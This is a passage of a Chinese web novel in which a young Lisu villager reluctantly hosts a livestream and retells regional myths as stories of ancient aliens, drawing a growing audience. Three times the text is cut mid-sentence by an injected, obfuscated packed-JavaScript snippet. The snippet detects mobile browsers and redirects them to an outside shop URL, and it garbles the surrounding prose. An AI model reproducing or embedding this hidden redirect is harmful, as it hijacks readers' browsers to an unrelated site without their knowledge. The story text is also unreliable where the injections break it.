“走走走,趁现在光线好。”
“不是,我——”
“设备都是现成的,就村委会那屋,架好了直接开播。”
“那江花——”
“你放心,就几天,等我忙完春耕就换回来。”
马百里被拽着走了十几米,终于反应过来:“我没答应啊!”
那江花回头看他,笑得一脸灿烂:“你刚才嗯了一路,我以为你答应了。”
“我那是——”
“那就是答应了!”她拽着他继续走,“走走走,别磨叽。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375019|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
马百里被拖进了村委会旁边的一间小屋。
屋里确实有套直播设备——一个手机支架,一个补光灯,一张背景布,上面印着“三道沟村民族团结进步示范点”几个大字。简陋得有点寒酸。
那江花把马百里按在椅子上,开始摆弄手机。
“我跟你说,就随便说说就行。”她把手机架好,“说说咱们傈僳族的文化,或者神话传说,或者民俗风情——反正你从小听到大,肯定能说几句。”
“我……”
“开始了啊!”
“等等——”
那江花已经点了“开始直播”。
马百里看着手机屏幕上跳出几个数字:在线观看 3人。
“行了,你慢慢说。”那江花拍拍他肩膀,“我出去忙了,一会儿来看你。”
然后她就走了。
门关上。
屋里只剩马百里一个人。
他看着手机屏幕上那几个数字,3变成2,2变成1,最后变成0。
在线观看 0人。
挺好。反正没人看,他就坐这儿混一个小时完事。
他靠在椅背上,开始盘算怎么熬过这一个小时。
但刚靠了不到一分钟,屏幕上的数字跳了一下。
在线观看 1人。
然后变成2人。
3人。
5人。
10人。
怎么突然来人了?
他凑近看了一眼——好像是那江花在群里发了链接。屏幕上有人开始打字:
“这是谁?”
“新来的?”
“那书记呢?”
马百里清了清嗓子,对着手机说:“那书记春耕去了,我是她发小,临时替班。”
“发小?”
“哪里的发小?”
“也是傈僳族?”
马百里看了看自己身上那套衣服:“算是吧。”
“什么叫算是?”
他有点不知道怎么解释。他是傈僳族,这没错,但他从小就不太像个傈僳族——不会唱山歌,不会跳锅庄,连傈僳话都说得磕磕巴巴。他妈老说他“忘了本”。
屏幕上的数字还在涨。15人、22人、31人。
“说点啥呗!”
“介绍一下你们村!”
“有什么好玩的?”
马百里盯着屏幕,脑子里一片空白。
说什么呢?
说三道沟村有草果、有核桃、有蜂蜜?那江花肯定希望他说这些,宣传村里的产业。但他说不出来——他脑子里全是那些乱七八糟的东西。
三叉戟。蛇。大黑天。变牛。变蛇。
还有那条蛇说的“摩诃迦罗的血脉觉醒了”。
他忽然想起一件事——石月亮。
那天晚上变成蛇之后,他在村口趴了很久,一直看着远处石月亮的方向。那个传说,说英雄一箭射穿山峰,救了百姓。
如果那条蛇说的是真的,如果那些画面是真的——那个黑色巨人站在山巅,面对一群跪拜的原始人——那石月亮的传说,会不会也是真的?
不是英雄用箭射穿的,是——
“怎么不说话?”
“卡了吗?”
“喂喂喂?”
马百里回过神来,看着屏幕上那些滚动的字。
在线观看 47人。
他深吸一口气。
行吧,就说传说。
反正也没人当真。
“那我说一个吧。”他对着手机开口,“说一个咱们傈僳族的传说——石月亮的故事。”
9. 第 9 章
屏幕上的滚动慢下来。有人在打字:
“石月亮我知道!”
“去过一次!”
“好看!”
“你们都知道石月亮长什么样,”马百里说,“但你们知道它怎么来的吗?”
他顿了顿,开始讲起来——用那种他自己都没想到的语气。
“传说在很久很久以前,大地上只有兄妹两个人,男的叫启沙,女的叫勒少。”他说,“天神让他们结成夫妻,繁衍人类。但是龙王的独生女爱上了启沙,龙王很生气,就施法术下起大雨——九天九夜的倾盆大雨。”
他停顿了一下。
“洪水填满了每一条山沟,越涨越高,眼看就要漫过苍天。”
屏幕上有人打字:“然后呢?”
“启沙兄妹躲进一个大葫芦瓢里,顺着水飘。”他说,“天神赐给启沙一把神弩和一支神箭。启沙拉满弓,一箭射出去——”
他做了个拉弓的手势。
“那座山被射穿了,留下一个又大又圆的洞。洪水从洞里流走,启沙兄妹得救了。”
屏幕上一片“666”。
“所以那个洞就是石月亮。”他说,“它没有阴晴圆缺,没有初一十五,什么时候都是一轮圆月。因为它是开天辟地时就存在的。”
在线观看 89人。
有人在打字:“说得好像真的一样!”
马百里笑了笑。
“但事实嘛——”
他顿了顿。
屏幕上的滚动停下来,好像所有人都在等下一句。
“事实应该是,那个所谓的‘神箭’,其实是一束能量光束。”他说,“那座山被击穿,不是箭射的,是一种高能武器。从天上射下来的。”
屏幕上炸了。
“???”
“啥?”
“你在说啥?”
“那些原始人不知道那是什么,就以为是神箭。”他继续说,“就跟他们看见天神从天而降,以为是神仙下凡一样。但其实那些‘神’是从别的星球来的,他们有自己的名字——阿努纳奇。”
“科幻迷?”
“穿越小说看多了吧?”
“哈哈哈哈笑死”
马百里没理他们,继续说下去。
“你们知道独龙族的神话吗?”他问,“说天神木别把女儿嫁给孔庚,给了她一竹筒的东西,让她到地上再打开。她忍不住半路打开,里面飞出来一群蜂子,飞到怒江、澜沧江一带的岩壁上,就成了野蜂。”
屏幕上有人打字:“这个我也听过!”
“那你们想过没有,”马百里说,“那个竹筒是什么?”
没人回答。
“是一个生物储存器。”他说,“里面装着基因改造过的蜂种。那些蜂不是自然进化的,是被‘天神’造出来的。那个‘天神’不是神仙,是一个穿白色衣服的科学家,戴着眼镜,拿着试管——”
“哈哈哈哈编不下去了吧!”
“笑死我了”
“这主播有才”
马百里看着屏幕上那些滚动的字,忽然觉得有点意思。
“还有怒族的传说,”他继续说,“说嘎瓦格布山上,洪水过后只剩兄妹俩和一对蛇。兄妹俩想打死蛇,蛇说:打死我们,你们也活不了。”
他顿了顿。
“你们知道为什么打死蛇就活不了吗?”
“不知道”
“你说!”
“因为那条蛇不是普通的蛇。”他说,“是守护者。它守护着一个东西——一根三叉戟。那根三叉戟能控制整个区域的能量系统。如果没有它,兄妹俩就算活下来,也活不长。”
在线观看 231人。
屏幕上开始有人刷礼物了。一朵小花、一个大拇指、一个棒棒糖。
“继续说!”
“太有意思了!”
“这是真的假的?”
“当然是假的。”马百里笑了笑,“我就是瞎编的。”
但他没停。
“普米族有个传说,说太阳是个善良的妇女,白天出来干活,晚上回家休息。她怕别人看见她的身体,就从身上发射许多根银针——那就是太阳的光芒。”
屏幕上有人打字:“这个没听过。”
“月亮是个男子,晚上出来活动,白天躲在山洞里。太阳不嫁夫,月亮不娶妻,他们过着一种‘走婚’的生活。”马百里说,“夜里男子去找女子,天亮又回到自己家里。”
“这不就是现代人的婚姻吗?”
“哈哈哈哈”
“笑死”
“但你们想过没有,”马百里说,“为什么太阳要发射银针?”
没人回答。
“因为她不能被看见。”他说,“她穿着防护服,那身衣服在阳光下会反光,反射出刺眼的光芒。原始人不知道那是防护服,以为是银针。”
屏幕上安静了几秒。
然后有人打字:“你到底是干啥的?”
“我?”马百里想了想,“我本来是返乡创业的,现在被拉来做直播。”
“创业干啥?”
“卖东西吗?”
“搞旅游?”
“可能养牛吧。”他说,“我二舅养牛挺赚钱的。”
屏幕上又炸了。
“刚才还在说外星人,现在说养牛?”
“这转折也太硬了!”
“哈哈哈哈笑死我了”
马百里也笑了。
在线观看 387人。
屏幕上刷礼物的速度更快了。有棒棒糖,有小花,有大拇指,甚至有人刷了一个“跑车”——虽然是那种不值钱的虚拟礼物,但看着还挺唬人的。
“再讲一个呗!”
“还有没有?”
“怒族还有什么传说?”
马百里想了想。
“有。”他说,“怒族有个传说,说他们的女始祖叫茂英充,是从天上飞来的一群蜜蜂变成的女人生的。她跟虎结合,生的后代就成了虎氏族、蜂氏族、蛇氏族。”
“虎氏族?真的假的?”
“真的。”马百里说,“怒族有些氏族确实是以动物命名的。蜂氏族、虎氏族、蛇氏族、猴氏族、熊氏族、鼠氏族——每个氏族都有自己崇拜的图腾。”
他停顿了一下。
“他们相信自己是那些动物的后代。”
屏幕上有人打字:“这个科学吗?”
“当然不科学。”马百里说,“但从另一个角度来说——”
他顿了顿。
“如果那些动物,不是普通的动物呢?”
屏幕安静了。
“如果那些‘虎’、‘蜂’、‘蛇’,是某种——基因改造的生物呢?”他说,“如果那些‘跟动物结婚’的祖先,其实是在跟某种人形生物结合呢?那种生物看起来像动物,但其实是另一种智慧生命?”
“你这脑洞太大了!”
“越说越玄了!”
“哈哈哈哈编上瘾了”
“就当我在编吧。”马百里笑了笑,“反正你们也没当真。”
屏幕上忽然有人打字:“你是不是信这些东西?”
马百里想了想。
“以前不信。”他说,“以前我觉得这些都是迷信,是落后,是愚昧。我想离开这个地方,去大城市,过正常的生活。”
他停顿了一下。
“但现在嘛——”
屏幕上安静了,等着他说下去。
“现在我有点不确定了。”他说,“可能疯的不是那些相信传说的人,是我自己。也可能疯的不是我,是这个世界。”
屏幕上沉默了几秒。
然后有人打字:“你这话好深奥。”
“深奥个屁。”马百里笑了,“就是神经病自言自语。”
“哈哈哈哈!”
“这主播太有意思了!”
“下次什么时候播?”
马百里看了一眼时间,已经过去四十多分钟了。
“不知道。”他说,“我就是替班的,下次播不播得问那书记。”
“别啊,你播!”
“比那书记有意思多了!”
“加个关注先!”
屏幕上开始刷关注。马百里看着那个数字从200多跳到300多,再跳到400多。
在线观看 512人。
门突然被推开。
那江花探进头来,一脸震惊:“马百里?!”
马百里扭头看她。
“怎么了?”
“你——”她指着手机屏幕,“你看看多少人?!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375020|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他低头看了一眼。在线观看 589人。
“哦。”他说。
“哦?!”那江花冲进来,“我这账号从开播到现在,最高在线没超过50人!你一上来就五百多?!”
屏幕上有人打字:“是那书记吗?”
“书记好!”
“书记你发小太有意思了!”
那江花凑到屏幕前,挤出一个笑:“大家好大家好,我发小瞎说的,别当真啊。”
“他说的那些是真的吗?”
“石月亮传说那么讲的吗?”
“外星人那段是他编的吧?”
那江花回头瞪马百里一眼:“你都说了些啥?”
“就说了点神话传说。”马百里说。
“那他妈什么神话传说能说成外星人?”
马百里耸耸肩。
屏幕上又刷了一波礼物。有人打字:“下次什么时候播?”
那江花看着那些礼物,表情有点复杂。
“行了行了,今天就到这儿吧。”她对着屏幕说,“下次播我们会提前通知的,感谢大家支持,拜拜拜拜——”
她伸手点了“结束直播”。
屋里安静下来。
那江花转过身,盯着马百里。
“马百里。”
“嗯?”
“你到底说了些什么?”
马百里想了想。
“说了点石月亮的传说。说了点独龙族的神话。说了点怒族的图腾。”他说,“还有普米族的太阳和月亮。”
那江花一脸不信:“就这些?”
“就这些。”
“那他们为什么刷那么多礼物?”
“可能他们觉得我说得有意思吧。”
那江花盯着他看了半天,忽然叹了口气。
“算了,不管你说什么,反正效果是好的。”她掏出手机看了一眼,“五百多个在线,这要是每天都能这样——”
“我不可能每天播。”马百里赶紧说,“我就是替班的。”
那江花看了他一眼,那眼神让他有点发毛。
“行,先替几天。”她说,“等你把我教会了,你再走。”
马百里张了张嘴,想反驳,但没说出来。
因为他忽然想起一件事——
那条蛇说的“摩诃迦罗的血脉觉醒了”,如果那是真的,如果那根三叉戟是真的,如果他能在牛和人之间切换是真的——那他可能确实没法“正常地”做任何事。
直播讲神话,可能就是他目前最适合干的事。
至少没人会觉得他神经病——因为他可以说那些都是他编的。
那江花拍拍他肩膀:“行了,今天表现不错。回头我给你整理一份材料,把咱们村各个民族的神话传说都写下来,你照着讲就行。”
马百里点点头。
她走到门口,忽然回头:“对了,你刚才说的那些——那些外星人什么的——是哪儿来的?”
马百里想了想。
“可能是神经病的幻觉吧。”他说。
那江花愣了一下,然后笑了。
“你从小就这样,说话没个正经。”她推门出去,“明天继续啊!”
门关上了。
马百里坐在椅子上,看着那个简陋的背景布,看着那个暗掉的补光灯,看着手机屏幕上那江花发来的消息:
“明天下午三点,别迟到!”
他笑了。
笑得有点无奈,有点荒诞,有点——说不清的感觉。
窗外传来鸟叫声。
“这人真有意思。”那只鸟说,“五百多个人听他瞎扯。”
另一只鸟问:“他瞎扯的那些是真的吗?”
“谁知道呢。”第一只鸟说,“反正我能听懂他说话。”
马百里起身推开窗户。
两只麻雀站在树枝上,看见他,扑棱棱飞走了。
远处,石月亮在夕阳下闪闪发光。
像一轮悬在半空的圆月。
像一扇被射穿的门。
像一个——
他不知道像什么。
但他知道,明天下午三点,他还得坐在这里,对着那个手机,继续说那些“瞎编”的故事。
而那些故事,可能比他想像的更接近真相。
10. 第 10 章
那天晚上马百里没睡好。
不是失眠,是睡得太不踏实了——一会儿梦见自己变成牛在田里走,一会儿梦见自己变成蛇钻地缝,一会儿梦见那条蛇绕在三叉戟上,眼睛直勾勾地盯着他。
“摩诃迦罗的血脉觉醒了。”它说。
然后他就醒了。
窗外还是黑的。他摸出手机看了一眼,凌晨四点十七分。充电器插了一晚上,电量满格,但信号还是两格——三道沟村就这样,偏得连信号都懒得来。
他躺回去,盯着黑漆漆的天花板。
脑子里又开始转那些乱七八糟的事。
那条蛇说他是阿努纳奇的后裔。阿努纳奇是《地球编年史》里写的,说是从尼比鲁星球来的外星人,几万年前改造了人类的基因,创造了文明。他以前翻过那本书,在西西弗书店,站着翻了两页,觉得太扯就没买。
但现在——
他举起手,看着那两个发黑的伤口。已经过了一天一夜,伤口没化脓也没愈合,就那么两个小洞,像被蛇咬过的——本来就是被蛇咬的。
他试着想了想“变牛”。
没反应。
再想。
还是没反应。
“算了。”他翻了个身,继续盯着天花板。
那条蛇说需要时间练习。可能他现在还练不会。
也可能昨晚那场直播耗了他太多精力——五百多个人听他瞎扯,这对他来说是破天荒的事。他这辈子没被这么多人同时关注过。
门外传来脚步声。
有人敲门:“马百里?起了没?”
是那江花。
他爬起来,套上衣服,开门。
她站在门口,手里端着一碗热腾腾的东西:“早饭。吃了来村委会。”
马百里接过碗,是漆油鸡米线。热气腾腾的,上面飘着一层金黄色的油。
“谢了。”
那江花已经转身走了,边走边说:“快点啊,今天有正事。”
马百里端着碗蹲在门口吃米线。
太阳刚出来,照在那些木楞房上,照在山坡上的梯田里。远处有人在放牛,牛铃铛叮叮当当地响。近处有鸡在刨食,有狗在晒太阳。
真安静。
他忽然想起昨晚那只鸟说的话:“五百多个人听他瞎扯。”
是啊,五百多个人。
那些人在手机那头,在某个城市的出租屋里,或者在某个学校的宿舍里,或者在某个加班的工位上——听他讲石月亮、讲嘎瓦格布、讲天神和蛇。
他们听得那么认真。
刷了那么多礼物。
说了那么多“下次什么时候播”。
马百里低头看了一眼碗里的米线,忽然有点恍惚。
这是真的吗?
他不是神经病吗?
一个神经病,能对着五百多个人讲神话,讲得他们一愣一愣的?
他吃完米线,把碗洗了,往村委会走。
那江花正在那间小屋里摆弄设备,见马百里进来,头也不回地说:“来来来,教你调参数。”
他走过去,看着她一通操作:光圈、快门、白平衡、美颜滤镜——
“这个美颜开太高了吧?”他说。
“你懂什么。”那江花瞪他一眼,“观众喜欢看好看的。”
马百里看着屏幕上那张被磨皮磨得有点不像自己的脸,沉默了两秒。
“行吧。”
“今天三点还是那个时间。”那江花说,“我估摸着还能来不少人。昨晚后来有人录了屏发到群里,转发了几百次。”
马百里愣了一下。
“录屏?”
“对啊,你讲的那些。”那江花翻着手机给他看,“你看这个,标题叫‘怒江傈僳族小哥爆笑讲神话,最后神转折’,播放量已经两万多了。”
他凑过去看。还真是他,穿着那套傈僳族衣服,对着手机一本正经地胡说八道。弹幕刷得密密麻麻的——“笑死我了”“这主播太有才了”“下次什么时候播”。
“两万多?”他有点不敢相信。
“两万三。”那江花说,“所以今天可能来的人更多。”
她把手机收起来,看着马百里:“马百里,你真的只是随便说的?”
他点点头。
“那些外星人什么的——你从哪听来的?”
马百里想了想:“网上看的。”
“什么网上?”
“就——”他有点编不下去,“忘了。”
那江花盯着他看了几秒,没再追问。
“行吧,反正效果是好的。”她说,“今天接着说,把咱们村几个民族的神话都讲一遍。我整理了一份材料,你看看。”
她从桌上拿起一个本子递给他。
马百里翻开,里面密密麻麻写着:傈僳族——石月亮传说、启沙勒少兄妹;怒族——嘎瓦格布、茂英充、阿铁;独龙族——天神造人、物种起源;普米族——日月走婚、药王神话;白族——大黑天神;拉玛族——
“这么多?”他抬头看她。
“咱们村五个民族呢。”那江花说,“你以为呢?”
马百里低头继续翻。
这些传说他大部分听过,但有一些是第一次见。比如怒族的“阿铁”,说洪水过后阿铁和姑娘幸存,繁衍了人类。比如独龙族的“嘎美嘎莎”,说两个天神用泥巴捏了人,吹一口气就活了。
那江花在旁边说:“你讲的时候可以加点自己的理解,就像昨天那样——但别太离谱。”
“什么叫太离谱?”
“就——”她想了想,“别说成外星人就行。”
马百里沉默了两秒。
“行。”
但他心里想的却是另一回事。
如果那条蛇说的是真的,如果那些画面是真的——那这些传说,可能本来就是“外星人”。
他需要的不是“别太离谱”,而是怎么在“不离谱”的前提下,把这些东西讲出来。
下午两点五十分,马百里坐在了那间小屋里。
那江花开好设备,调好参数,看了他一眼:“准备好了吗?”
“好了。”
“那我开了啊。”
屏幕亮了。
在线观看 127人。
比昨天开场多一百多个。
屏幕上开始刷弹幕:
“来了来了!”
“那个讲神话的神经病呢?”
“是他吗?换了衣服?”
马百里低头看了看自己——今天换了一套干净的傈僳族衣服,头发也洗了,脸上那几道口子结了痂,看着没那么狼狈。
“是我。”他说,“昨天那个神经病。”
“哈哈哈哈!”
“自我认知很清晰!”
“笑死”
在线观看 189人。
“今天讲什么?”
“继续讲神话吗?”
“讲那个外星人的!”
马百里清了清嗓子。
“今天讲点别的。”他说,“讲一个怒族的传说——嘎瓦格布。”
屏幕上安静下来。
“嘎瓦格布是一座山,在贡山县那边。”他说,“传说很久以前,洪水泛滥,淹没了大地。人类都死光了,只剩两兄妹和一对蛇,躲在那座山上。”
他顿了顿。
“兄妹俩想打死蛇。蛇说:打死我们,你们也活不了。”
屏幕上有人打字:“为什么?”
“因为那对蛇是守护者。”他说,“它们守着这座山的秘密。如果它们死了,那个秘密就永远没人知道了。”
“什么秘密?”
“洪水为什么会退?”他反问,“兄妹俩为什么能活下来?”
没人回答。
“传说里说,洪水退后,兄妹俩住在山洞里。两人分睡,第一天中间隔柴垛,第二天隔刀,第三天隔一碗水。可每次天亮,他们都睡到了一块,隔物纹丝不动。”
屏幕上有人打字:“这不就是神话套路吗?”
“对,很多民族都有这种传说。”马百里说,“兄妹成婚,繁衍人类。怒族说他们生了九对儿女,分成九对夫妻,分住九条江。其中一对住在怒江,就成了怒族。”
“那后来呢?”
“后来那对兄妹成了神,住在嘎瓦格布山上。”马百里说,“每年有人去祭拜,求他们保佑。”
屏幕上沉默了几秒。
然后有人打字:“你昨天不是说那些神是外星人吗?”
马百里看着那条弹幕,笑了笑。
“是啊。”
“那今天这个呢?也是外星人?”
他想了想。
“那对兄妹可能不是外星人。”他说,“但那对蛇可能是。”
屏幕上又炸了。
“???”
“蛇怎么是外星人?”
“越说越玄了!”
“那对蛇守护的秘密是什么?”他反问,“如果它们真的是普通的蛇,为什么杀了它们就活不了?”
没人回答。
“因为它们守护的东西,能让洪水退去。”他说,“那个东西——”
他停顿了一下,脑子里闪过那根银白色的三叉戟。
“可能是一台机器。一台控制气候的机器。”
屏幕上安静了几秒。
然后有人打字:“你这脑洞是真的大。”
“我只是瞎编的。”马百里笑了笑,“别当真。”
在线观看 337人。
屏幕上开始刷礼物。棒棒糖、小花、大拇指,还有几个跑车。
那江花在镜头外给他竖了个大拇指。
他继续说下去。
“再讲一个独龙族的传说。”他说,“说天神木别把女儿嫁给孔庚,给了她一竹筒东西,让她到地上再打开。她忍不住半路打开,里面飞出来一群蜂子,飞到怒江、澜沧江一带的岩壁上,就成了野蜂。”
“这个你昨天讲过!”
“对,但还有后续。”马百里说,“天神还给了她鱼卵,放在竹篮里。她过河的时候不小心把篮子掉进水里,于是就有了鱼。本来鱼是在陆地上的。”
屏幕上有人打字:“鱼本来就在水里吧?”
“传说是这么说的。”马百里说,“你们想过没有,为什么蜂和鱼是这么来的?”
“为什么?”
“因为独龙族的人知道,那些东西不是自然存在的。”他说,“是‘天神’带来的。是他们创造了蜂,创造了鱼,创造了——”
他顿了顿。
“可能也创造了人。”
屏幕上沉默了很久。
在线观看 452人。
有人打字:“你是认真的吗?”
“当然不是。”马百里笑了笑,“我就是随便说说。”
但他知道他不是随便说说。
那些画面,那条蛇,那根三叉戟——它们在他脑子里转了一整天,怎么都挥不去。
如果那条蛇说的是真的,如果那些画面是真的——那他讲的这些“传说”,可能根本不是传说。
是历史。
是几万年前真实发生过的事。
只是那些事被一代代传下来,传成了神话,传成了传说,传成了奶奶哄孩子睡觉的故事。
而现在,有人——有“蛇”——告诉他,那些都是真的。
他深吸一口气,继续说下去。
“普米族有个传说,说太阳是个善良的妇女,白天出来干活,晚上回家休息。她怕别人看见她的身体,就从身上发射许多根银针——那就是太阳的光芒。”
“这个也讲过!”
“对,但我昨天没讲完。”马百里说,“你们知道为什么她怕被别人看见吗?”
“为什么?”
“因为她身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375021|200055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿着的东西,不能让人看见。”他说,“那是——”
他想了想,换了个说法。
“那是她的工作服。发光的、反光的工作服。”
“工作服?”
“哈哈哈哈!”
“太阳神穿工作服?”
“月亮是个男子,晚上出来活动,白天躲在山洞里。”他没理他们的笑声,继续说,“太阳不嫁夫,月亮不娶妻,他们过着一种‘走婚’的生活。”
屏幕上有人打字:“这不就是现代人的婚姻吗?”
“对,普米族以前确实有走婚的习俗。”马百里说,“所以这个传说,可能不只是传说。”
“什么意思?”
“可能他们用这个传说来解释自己的习俗。”他说,“太阳和月亮都这么过,我们为什么不能?”
屏幕上安静了几秒。
然后有人打字:“你这解读有点东西。”
在线观看 527人。
马百里开始有点适应这种节奏了——一边讲传说,一边“瞎编”,一边看屏幕上那些滚动的弹幕和礼物。
那江花在镜头外不停地竖大拇指。
他继续说下去。
讲怒族的“阿铁”,说他和姑娘在洪水后幸存,繁衍了人类。
讲独龙族的“嘎美嘎莎”,说两个天神用泥巴捏人,吹一口气就活了。
讲傈僳族的“启沙勒少”,说兄妹俩一箭射穿山峰,救了百姓。
讲白族的“大黑天神”,说天神吞下瘟药,脸和身体都变黑了。
每讲一个,他加一点“自己的理解”。
那些“理解”来自那条蛇告诉他的事,来自那些涌进他脑子里的画面,来自那根插在地缝里的三叉戟。
但他说的时候,都加了一句“我就是瞎编的”。
观众很吃这套。
他们觉得他在一本正经地胡说八道,觉得他有才,觉得他“太有意思了”。
他们不知道,他说的那些“瞎编的”,可能都是真的。
时间过得很快。
不知不觉已经讲了一个多小时。
在线观看 689人。
屏幕上开始有人问:“下次什么时候播?”
“对啊,明天还播吗?”
“几点?”
“还是这个时间?”
马百里看向那江花。她在镜头外比了个手势——“三点”。
“明天下午三点。”他说,“还是这个时间。”
屏幕上刷了一波“好的”“收到”“一定来”。
他正准备说结束语,忽然看见一条弹幕:
“你能讲一下你自己的故事吗?”
马百里愣了一下。
“什么?”
“就是你自己的故事。”那人打字,“你为什么会知道这些?”
屏幕上安静了几秒。
马百里看着那条弹幕,脑子里一片空白。
他自己的故事?
说他因为能听懂动物说话被诊断成神经病?
说他回家路上掉进地缝,找到一根三叉戟?
说他在那江花面前变成了一头牛,被当成村里的公共财产耕了一天地?
说他现在还在纠结自己到底是不是人?
他沉默了几秒。
然后笑了笑。
“我自己的故事啊——”他说,“很简单。我本来在大城市打工,后来因为一些原因回来了。然后就坐在这儿给你们讲神话。”
屏幕上有人打字:“就这么简单?”
“就这么简单。”他说,“平凡人的平凡故事,没什么好讲的。”
他没看那条弹幕。
但他看见另一条弹幕飘过:
“你刚才讲那些神话的时候,眼神不太一样。”
他愣了一下。
“什么不一样?”
“像是——”那人打字,“像是在说真事。”
马百里看着那条弹幕,沉默了几秒。
然后他笑了。
“神经病嘛。”他说,“神经病说什么都像真的。”
屏幕上炸了。
“哈哈哈哈!”
“这回复绝了!”
“笑死我了!”
在线观看 712人。
那江花在镜头外比了个“结束”的手势。
马百里对着屏幕挥了挥手:“行了,今天就到这儿,明天见。”
点了“结束直播”。
屋里安静下来。
那江花走过来,一脸兴奋:“马百里,你知道今天多少人吗?”
“七百多。”
“七百一十二!”她晃着手机,“而且礼物比昨天多一倍!”
马百里靠在椅背上,有点累。
“明天还能播吗?”她问。
他想了想。
“能吧。”
那江花拍拍他肩膀:“行,明天继续。等春耕忙完,我请你喝酒。”
她推门出去了。
屋里只剩马百里一个人。
他盯着那个暗掉的屏幕,脑子里还在想那条弹幕——
“像是在说真事。”
他确实是在说真事。
只是没人信。
窗外天快黑了。夕阳把远处的山照成金色,石月亮在云层里若隐若现。
他起身走到窗边,看着那个方向。
那条蛇说摩诃迦罗的血脉觉醒了。
那条蛇说他是神的后裔。
他不知道该信多少。
但有一件事他现在很确定——
疯的不是他。
是这个有外星人、有三叉戟、有能变成牛的神后裔的世界,彻底疯掉了。
而他,只是这个世界里一个讲“瞎编的故事”的人。
讲给那些愿意听的人听。
明天下午三点。
七百多个人等着他。